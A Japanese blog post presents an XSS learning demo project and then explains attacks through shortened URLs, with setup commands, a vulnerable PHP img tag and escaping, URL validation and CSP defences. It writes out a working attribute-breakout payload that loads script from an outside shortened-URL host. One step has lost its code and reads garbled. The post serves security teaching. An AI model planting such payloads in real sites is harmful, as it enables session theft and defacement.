Webアプリケーション開発において、避けて通れないセキュリティリスクの筆頭が「XSS(クロスサイトスクリプティング)」です。しかし、座学だけでその仕組みを完全に理解するのは難しいものです。今回紹介する「xss-kaiji」は、実際に脆弱性を体 験しながら、TypeScriptやViteといったモダンな環境での開発も学べる、開発者のための学習用デモンストレーションツールです。
XSS(クロスサイトスクリプティング)の脅威を可視化する
XSSは、ユーザーが入力した内容を適切に処理せずにブラウザに表示してしまうことで、悪意のあるスクリプトが実行されてしまう脆弱性です。これにより、セッション情報の窃取やサイトの改ざんが行われるリスクがあります。
「xss-kaiji」は、この攻撃手法をあえて再現可能な状態にすることで、どのようなコードが危険なのか、そしてどのように対策すべきかを視覚的に理解することを目的としています。
デモページ
https://isystk.github.io/kaiji/demo.html

導入のメリットと学習のポイント
* **視覚的な理解**: デモページを通じて、スクリプトがどのように注入されるかを即座に確認できます。
* **モダンな技術スタック**: TypeScript、Vite、Bootstrapを使用しており、最新のフロントエンド開発環境の構成を学べます。
* **実務への応用**: 脆弱性の原理を知ることで、日々のコーディングにおける「サニタイジング(無害化)」の重要性が身に付きます。
エンジニアセキュリティ対策は「知っている」だけでなく「どう動くか」を理解することが大切です。このツールを使えば、エスケープ処理を忘れた時のリスクを肌で感じることができますよ。
プロジェクトの構造とセットアップ
「xss-kaiji」は非常にシンプルなディレクトリ構造で構成されており、TypeScriptのビルド設定やViteによる高速な開発環境をすぐに試すことができます。

ディレクトリ構造
.
├── dist (ビルド済みファイル)
├── public (静的アセット)
├── src
│ ├── index.html
│ ├── index.ts (エントリーポイント)
│ └── ts (ロジック群)
├── tsconfig.json
└── vite.config.js
開発環境の構築手順
以下のコマンドを実行するだけで、ローカル環境でセキュリティ学習を開始できます。
# リポジトリのクローン
git clone git@github.com:isystk/kaiji.git
cd xss-kaiji
# 依存パッケージのインストール
npm install
# 開発用サーバーの起動
npm run dev
実務での活用シーンと対策
実際の開発現場では、フレームワーク(ReactやVue.jsなど)が自動的にエスケープ処理を行ってくれることが多いですが、innerHTMLを直接操作する場合や、外部ライブラリを導入する際には依然として注意が必 要です。
1. **サニタイジングの徹底**: ユーザー入力値を表示する際は、必ずHTMLエンティティ化を行う。
2. **Content Security Policy (CSP) の設定**: 許可されていないスクリプトの実行をブラウザレベルで制限する。
3. **バリデーション**: 入力段階で期待しない形式のデータ(scriptタグなど)を弾く。
「xss-kaiji」で攻撃のパターンを試した後は、これらの対策が正しく機能するかをコードを書き換えて検証してみるのがおすすめです。
Webサイトのプロフィール画像やリンク設定機能など、ユーザーが自由に入力できる項目を設けていませんか?実は、入力値のバリデーションやエスケープを怠ると、短縮URLを悪用したスクリプト実行(XSS)の標的になる恐れがあります。本記事では、攻撃の仕組みから具体的な防衛策までをエンジニア視点で詳しく解説します。
攻撃の巧妙なステップ:なぜ短縮URLが使われるのか
攻撃者は、一見すると無害なURLの中に悪意あるコードを潜ませます。特に短縮URLサービス(x.gdやbit.ly等)を利用することで、長い攻撃用スクリプトを隠蔽(難読化)し、管理者の目や簡易的なフィルターをすり抜けようとします。
難読化とDB登録による「発火」のプロセス
攻撃のプロセスは主に以下の3つのステップで行われます。
- 難読化:
">というコードを短縮URLに隠します。 - DB登録: ユーザープロフィールやコメント欄など、入力内容がそのままDBに保存される箇所へ投稿します。
- 発火: HTML内で
src="[DBの値]"のように出力される際、タグが強制的に閉じられ、スクリプトが実行されます。
会話セクション
エンジニア「たかがURL」と油断してはいけません。属性値を囲むダブルクォーテーションを意図的に閉じさせることで、任意のJavaScriptを読み込ませるのがこの攻撃の肝です。
実装例と脆弱性の再現
開発者が「自分のサイトは大丈夫か?」を確認できるよう、具体的なコード例を見てみましょう。
脆弱なコードの例(PHP/HTML)
ユーザーが登録したアイコンURLを、何も加工せずにそのまま表示しているケースです。
<!-- 脆弱な実装例 -->
<img src="<?php echo $user_icon; ?>" width="50">
攻撃を受けた時のHTML出力結果
DBに "><script src="https://x.gd/3R22Y"></script> という値が登録されていた場合、ブラウザには以下のように出力されます。
<!-- src属性が空で閉じられ、直後にscriptタグが挿入されてしまう -->
<img src=""><script src="https://x.gd/3R22Y"></script>" width="50">
この結果、src="" で画像タグが途切れ、後続の <script> タグが有効になり、外部の悪意あるスクリプトが実行されてしまいます。
Webサイトを守るための3つの対策
「怖い」で終わらせず、具体的なベストプラクティスを実装に組み込みましょう。
1. サニタイズ(エスケープ処理)の徹底
出力をする際は必ず htmlspecialchars 等でエスケープします。これにより、" は " に変換されるため、HTMLタグの構造が壊されることはありません。
2. URLのバリデーション
DB登録前に、値が本当に http または https で始まっているか、正しいURL形式かをチェックします。
// TypeScriptでのチェック例
const isValidUrl = (url: string): boolean => {
try {
const parsed = new URL(url);
// プロトコルがhttpまたはhttpsであることを確認
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
};
3. CSP (Content Security Policy) の導入
ブラウザのセキュリティ機能であるCSPを設定し、許可していないドメインからのスクリプト読み込みを根本から禁止します。万が一エスケープ漏れがあっても、被害を最小限に抑えることが可能です。
まとめ
- 出力時は必ず htmlspecialchars 等でエスケープを徹底する
- 入力時に プロトコル(http/https) のバリデーションを行う
- CSP(Content Security Policy) を設定して多層防御を構築する
- 短縮URLの裏側に潜む「タグ閉じ」の挙動を常に意識する
ソースコード
セキュリティは「攻撃者の視点」を持つことで、より強固な守りを固めることができます。ぜひこのプロジェクトをクローンして、安全なWebアプリケーション開発への一歩を踏み出してみてください。